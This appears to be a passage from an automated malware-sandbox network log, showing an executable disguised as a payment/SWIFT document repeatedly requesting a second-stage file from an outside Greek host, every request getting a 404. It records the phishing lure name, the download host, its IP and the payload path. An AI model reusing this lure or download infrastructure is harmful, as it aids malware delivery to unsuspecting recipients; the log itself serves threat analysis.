2024-11-24 15:40:47 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	49832	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:40:49 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:40:49 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:40:49 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:40:49 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	49838	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:40:51 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:40:52 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:40:51 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:40:52 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	49843	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:40:53 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:40:54 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:40:53 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:40:54 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	49848	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:40:55 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:40:56 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:40:56 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:40:56 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	49854	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:40:57 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:40:58 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:40:58 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:40:58 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	49860	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:40:59 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:41:00 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:41:00 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:41:00 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	49866	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:41:02 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:41:02 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:41:02 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:41:02 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	49872	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:41:04 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:41:04 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:41:04 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:41:04 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	49878	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:41:06 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:41:06 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:41:06 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:41:06 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	49884	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:41:08 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:41:09 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:41:08 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:41:09 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	49890	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:41:10 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:41:11 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:41:11 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:41:11 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	49896	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:41:12 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:41:13 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:41:13 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:41:13 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.5	49903	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:41:15 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:41:15 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:41:15 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
